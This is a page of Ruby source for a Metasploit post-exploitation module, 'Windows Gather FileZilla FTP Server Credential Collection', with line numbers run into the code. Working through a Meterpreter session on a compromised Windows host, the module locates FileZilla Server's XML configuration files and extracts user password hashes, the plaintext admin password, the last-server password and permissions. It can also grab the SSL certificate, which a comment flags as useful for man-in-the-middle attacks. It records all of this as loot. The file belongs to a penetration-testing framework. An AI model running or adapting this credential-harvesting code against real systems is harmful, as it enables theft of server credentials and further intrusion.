Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/filezilla_server.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rexml/document'67class MetasploitModule < Msf::Post8include Msf::Post::File910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',15'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },16'License' => MSF_LICENSE,17'Author' => [18'bannedit', # original idea & module19'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features20],21'Platform' => ['win'],22'SessionTypes' => ['meterpreter' ],23'Compat' => {24'Meterpreter' => {25'Commands' => %w[26core_channel_eof27core_channel_open28core_channel_read29core_channel_write30stdapi_registry_query_value_direct31stdapi_sys_config_getenv32stdapi_sys_config_getuid33]34}35}36)37)3839register_options([40OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM41])42end4344def run45if session.type != 'meterpreter'46print_error 'Only meterpreter sessions are supported by this post module'47return48end4950progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432')51locations = []52progfiles_env.each do |_k, v|53next if v.blank?5455locations << v + '\\FileZilla Server\\'56end5758keys = [59'HKLM\\SOFTWARE\\FileZilla Server',60'HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server',61]6263keys.each do |key|64begin65root_key, base_key = session.sys.registry.splitkey(key)66value = session.sys.registry.query_value_direct(root_key, base_key, 'install_dir')67rescue Rex::Post::Meterpreter::RequestError => e68vprint_error(e.message)69next70end71locations << value.data + '\\'72end7374locations = locations.uniq75filezilla = check_filezilla(locations)76get_filezilla_creds(filezilla) if filezilla77end7879def check_filezilla(locations)80paths = []81begin82locations.each do |location|83print_status("Checking for Filezilla Server directory in: #{location}")84begin85session.fs.dir.foreach(location.to_s) do |fdir|86['FileZilla Server.xml', 'FileZilla Server Interface.xml'].each do |xmlfile|87next unless fdir == xmlfile8889filepath = location + xmlfile90print_good("Configuration file found: #{filepath}")91paths << filepath92end93end94rescue Rex::Post::Meterpreter::RequestError => e95vprint_error(e.message)96end97end98rescue ::Exception => e99print_error(e.to_s)100return101end102103if !paths.empty?104print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}")105print_line106return paths107end108109return nil110end111112def get_filezilla_creds(paths)113fs_xml = '' # FileZilla Server.xml - Settings for the local install114fsi_xml = '' # FileZilla Server Interface.xml - Last server used with the interface115credentials = Rex::Text::Table.new(116'Header' => 'FileZilla FTP Server Credentials',117'Indent' => 1,118'Columns' =>119[120'Host',121'Port',122'User',123'Password',124'SSL'125]126)127128permissions = Rex::Text::Table.new(129'Header' => 'FileZilla FTP Server Permissions',130'Indent' => 1,131'Columns' =>132[133'Host',134'User',135'Dir',136'FileRead',137'FileWrite',138'FileDelete',139'FileAppend',140'DirCreate',141'DirDelete',142'DirList',143'DirSubdirs',144'AutoCreate',145'Home'146]147)148149configuration = Rex::Text::Table.new(150'Header' => 'FileZilla FTP Server Configuration',151'Indent' => 1,152'Columns' =>153[154'FTP Port',155'FTP Bind IP',156'Admin Port',157'Admin Bind IP',158'Admin Password',159'SSL',160'SSL Certfile',161'SSL Key Password'162]163)164165lastserver = Rex::Text::Table.new(166'Header' => 'FileZilla FTP Last Server',167'Indent' => 1,168'Columns' =>169[170'IP',171'Port',172'Password'173]174)175176paths.each do |path|177file = session.fs.file.new(path, 'rb')178until file.eof?179if path.include? 'FileZilla Server.xml'180fs_xml << file.read181elsif path.include? 'FileZilla Server Interface.xml'182fsi_xml << file.read183end184end185file.close186end187188# user credentials password is just an MD5 hash189# admin pass is just plain text. Priorities?190creds, perms, config = parse_server(fs_xml)191192creds.each do |cred|193credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]194195session.db_record ? (source_id = session.db_record.id) : (source_id = nil)196197service_data = {198address: session.session_host,199port: config['ftp_port'],200service_name: 'ftp',201protocol: 'tcp',202workspace_id: myworkspace_id203}204205credential_data = {206origin_type: :session,207jtr_format: 'raw-md5',208session_id: session_db_id,209post_reference_name: refname,210private_type: :nonreplayable_hash,211private_data: cred['password'],212username: cred['user']213}214215credential_data.merge!(service_data)216217credential_core = create_credential(credential_data)218219# Assemble the options hash for creating the Metasploit::Credential::Login object220login_data = {221core: credential_core,222status: Metasploit::Model::Login::Status::UNTRIED223}224225# Merge in the service data and create our Login226login_data.merge!(service_data)227create_credential_login(login_data)228end229230perms.each do |perm|231permissions << [232perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],233perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],234perm['dirsubdirs'], perm['autocreate'], perm['home']235]236end237238session.db_record ? (source_id = session.db_record.id) : (source_id = nil)239240# report the goods!241if config['admin_pass'] == '<none>'242vprint_status('Detected Default Adminstration Settings:')243else244vprint_status('Collected the following configuration details:')245service_data = {246address: session.session_host,247port: config['admin_port'],248service_name: 'filezilla-admin',249protocol: 'tcp',250workspace_id: myworkspace_id251}252253credential_data = {254origin_type: :session,255session_id: session_db_id,256post_reference_name: refname,257private_type: :password,258private_data: config['admin_pass'],259username: 'admin'260}261262credential_data.merge!(service_data)263264credential_core = create_credential(credential_data)265266# Assemble the options hash for creating the Metasploit::Credential::Login object267login_data = {268core: credential_core,269status: Metasploit::Model::Login::Status::UNTRIED270}271272# Merge in the service data and create our Login273login_data.merge!(service_data)274create_credential_login(login_data)275end276277vprint_status(" FTP Port: #{config['ftp_port']}")278vprint_status(" FTP Bind IP: #{config['ftp_bindip']}")279vprint_status(" SSL: #{config['ssl']}")280vprint_status(" Admin Port: #{config['admin_port']}")281vprint_status(" Admin Bind IP: #{config['admin_bindip']}")282vprint_status(" Admin Pass: #{config['admin_pass']}")283vprint_line284285configuration << [286config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],287config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']288]289290begin291lastser = parse_interface(fsi_xml)292lastserver << [lastser['ip'], lastser['port'], lastser['password']]293vprint_status('Last Server Information:')294vprint_status(" IP: #{lastser['ip']}")295vprint_status(" Port: #{lastser['port']}")296vprint_status(" Password: #{lastser['password']}")297vprint_line298rescue StandardError299vprint_error('Could not parse FileZilla Server Interface.xml')300end301loot_path = store_loot('filezilla.server.creds', 'text/csv', session, credentials.to_csv,302'filezilla_server_credentials.csv', 'FileZilla FTP Server Credentials')303print_status("Credentials saved in: #{loot_path}")304305loot_path = store_loot('filezilla.server.perms', 'text/csv', session, permissions.to_csv,306'filezilla_server_permissions.csv', 'FileZilla FTP Server Permissions')307print_status("Permissions saved in: #{loot_path}")308309loot_path = store_loot('filezilla.server.config', 'text/csv', session, configuration.to_csv,310'filezilla_server_configuration.csv', 'FileZilla FTP Server Configuration')311print_status(" Config saved in: #{loot_path}")312313loot_path = store_loot('filezilla.server.lastser', 'text/csv', session, lastserver.to_csv,314'filezilla_server_lastserver.csv', 'FileZilla FTP Last Server')315print_status(" Last server history: #{loot_path}")316317print_line318end319320def parse_server(data)321creds = []322perms = []323groups = []324settings = {}325users = 0326passwords = 0327328begin329doc = REXML::Document.new(data).root330rescue REXML::ParseException331print_error('Invalid xml format')332end333334opt = doc.elements.to_a('Settings/Item')335if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings336settings['admin_port'] = begin337opt[0].text338rescue StandardError339'<none>'340end341settings['ftp_port'] = 21342else343settings['ftp_port'] = begin344opt[0].text345rescue StandardError34621347end348settings['admin_port'] = begin349opt[16].text350rescue StandardError351'<none>'352end353end354settings['admin_pass'] = begin355opt[17].text356rescue StandardError357'<none>'358end359settings['local_host'] = begin360opt[18].text361rescue StandardError362''363end364settings['bindip'] = begin365opt[38].text366rescue StandardError367''368end369settings['ssl'] = begin370opt[42].text371rescue StandardError372''373end374375# empty means localhost only * is 0.0.0.0376if settings['local_host']377settings['admin_bindip'] = settings['local_host']378else379settings['admin_bindip'] = '127.0.0.1'380end381settings['admin_bindip'] = '0.0.0.0' if settings['admin_bindip'] == '*' || settings['admin_bindip'].empty?382383if settings['bindip']384settings['ftp_bindip'] = settings['bindip']385else386settings['ftp_bindip'] = '127.0.0.1'387end388settings['ftp_bindip'] = '0.0.0.0' if settings['ftp_bindip'] == '*' || settings['ftp_bindip'].empty?389390settings['ssl'] = settings['ssl'] == '1'391if !settings['ssl'] && datastore['SSLCERT']392print_error('Cannot loot the SSL Certificate, SSL is disabled in the configuration file')393end394395settings['ssl_certfile'] = begin396items[45].text397rescue StandardError398'<none>'399end400# Get the file if it is there. It could be useful in MITM attacks401if settings['ssl_certfile'] != '<none>' && settings['ssl'] && datastore['SSLCERT']402sslfile = session.fs.file.new(settings['ssl_certfile'])403sslcert << sslfile.read until sslfile.eof?404store_loot('filezilla.server.ssl.cert', 'text/plain', session, sslfile,405settings['ssl_cert'] + '.txt', 'FileZilla Server SSL Certificate File')406print_status('Looted SSL Certificate File')407end408409settings['ssl_certfile'] = '<none>' if settings['ssl_certfile'].nil?410411settings['ssl_keypass'] = begin412items[50].text413rescue StandardError414'<none>'415end416settings['ssl_keypass'] = '<none>' if settings['ssl_keypass'].nil?417418vprint_status('Collected the following credentials:') if doc.elements['Users']419420doc.elements.each('Users/User') do |user|421account = {}422opt = user.elements.to_a('Option')423account['user'] = begin424user.attributes['Name']425rescue StandardError426'<none>'427end428account['password'] = begin429opt[0].text430rescue StandardError431'<none>'432end433account['group'] = begin434opt[1].text435rescue StandardError436'<none>'437end438users += 1439passwords += 1440groups << account['group']441442user.elements.to_a('Permissions/Permission').each do |permission|443perm = {}444opt = permission.elements.to_a('Option')445perm['user'] = begin446user.attributes['Name']447rescue StandardError448'<unknown>'449end450perm['dir'] = begin451permission.attributes['Dir']452rescue StandardError453'<unknown>'454end455perm['fileread'] = begin456opt[0].text457rescue StandardError458'<unknown>'459end460perm['filewrite'] = begin461opt[1].text462rescue StandardError463'<unknown>'464end465perm['filedelete'] = begin466opt[2].text467rescue StandardError468'<unknown>'469end470perm['fileappend'] = begin471opt[3].text472rescue StandardError473'<unknown>'474end475perm['dircreate'] = begin476opt[4].text477rescue StandardError478'<unknown>'479end480perm['dirdelete'] = begin481opt[5].text482rescue StandardError483'<unknown>'484end485perm['dirlist'] = begin486opt[6].text487rescue StandardError488'<unknown>'489end490perm['dirsubdirs'] = begin491opt[7].text492rescue StandardError493'<unknown>'494end495perm['autocreate'] = begin496opt[9].text497rescue StandardError498'<unknown>'499end500perm['host'] = settings['ftp_bindip']501502opt[8].text == '1' ? (perm['home'] = 'true') : (perm['home'] = 'false')503504perms << perm505end506507user.elements.to_a('IpFilter/Allowed').each do |allowed|508end509user.elements.to_a('IpFilter/Disallowed').each do |disallowed|510end511512account['host'] = settings['ftp_bindip']513account['port'] = settings['ftp_port']514account['ssl'] = settings['ssl'].to_s515creds << account516517vprint_status(" Username: #{account['user']}")518vprint_status(" Password: #{account['password']}")519vprint_status(" Group: #{account['group']}") if account['group']520vprint_line521end522523# Rather than printing out all the values, just count up524groups = groups.uniq unless groups.uniq.nil?525if !datastore['VERBOSE']526print_status('Collected the following credentials:')527print_status(" Usernames: #{users}")528print_status(" Passwords: #{passwords}")529print_status(" Groups: #{groups.length}")530print_line531end532return [creds, perms, settings]533end534535def parse_interface(data)536lastser = {}537538begin539doc = REXML::Document.new(data).root540rescue REXML::ParseException541print_error('Invalid xml format')542return lastser543end544545opt = doc.elements.to_a('Settings/Item')546547opt.each do |item|548case item.attributes['name']549when /Address/550lastser['ip'] = item.text551when /Port/552lastser['port'] = item.text553when /Password/554lastser['password'] = item.text555end556end557558lastser['password'] = '<none>' if lastser['password'].nil?559560lastser561end562563def got_root?564session.sys.config.getuid =~ /SYSTEM/ ? true : false565end566567def whoami568session.sys.config.getenv('USERNAME')569end570end571572573